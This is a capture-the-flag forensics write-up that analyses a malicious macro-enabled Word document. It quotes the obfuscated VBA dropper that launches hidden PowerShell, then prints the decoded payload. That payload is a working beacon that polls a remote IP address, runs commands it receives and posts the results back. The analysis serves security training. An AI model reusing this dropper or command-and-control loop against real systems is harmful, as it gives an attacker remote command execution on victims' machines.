[Forensics] Halloween invitation

The challenge starts with a Macro Word Document .docm. The macro contains obfuscated code that writes a base64 encoded payload into a file, then reads the payload from that file to execute it via powershell:

Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True)
dfdjqgaqhvxxi.Write bnhupraoau
[...]
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
secret = ktmlmpc.ReadAll
[...]
Code = "powershell -WindowStyle hidden -e """ & secret
x = Shell(Code, 1)

For us to get the b64 encoded payload, we can comment the Write/Read/Execution part of the macro and use Debug.Print to read the payload that was supposed to be written.

We obtain:

JABzAD0AJwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADAAJwA7ACQAaQA9ACcAZAA0ADMAYgBjAGMANgBkAC0AMAA0ADMAZgAyADQAMAA5AC0ANwBlAGEAMgAzAGEAMgBjACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAcgBpACAAJABwACQAcwAvAGQANAAzAGIAYwBjADYAZAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAiAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMAA0ADMAZgAyADQAMAA5ACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AKQA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAJABwACQ
AcwAvADcAZQBhADIAMwBhADIAYwAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AIAAtAEIAbwBkAHkAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAGUAKwAkAHIAKQAgAC0AagBvAGkAbgAgACcAIAAnACkAfQAgAHMAbABlAGUAcAAgADAALgA4AH0ASABUAEIAewA1AHUAcAAzAHIAXwAzADQANQB5AF8AbQA0AGMAcgAwADUAfQA=

And decoding it, we get:

$ base64 -d < output.txt
$s='77.74.198.52:8080';$i='d43bcc6d-043f2409-7ea23a2c';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/d43bcc6d -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/043f2409 -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/7ea23a2c -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}HTB{5up3r_345y_m4cr05}%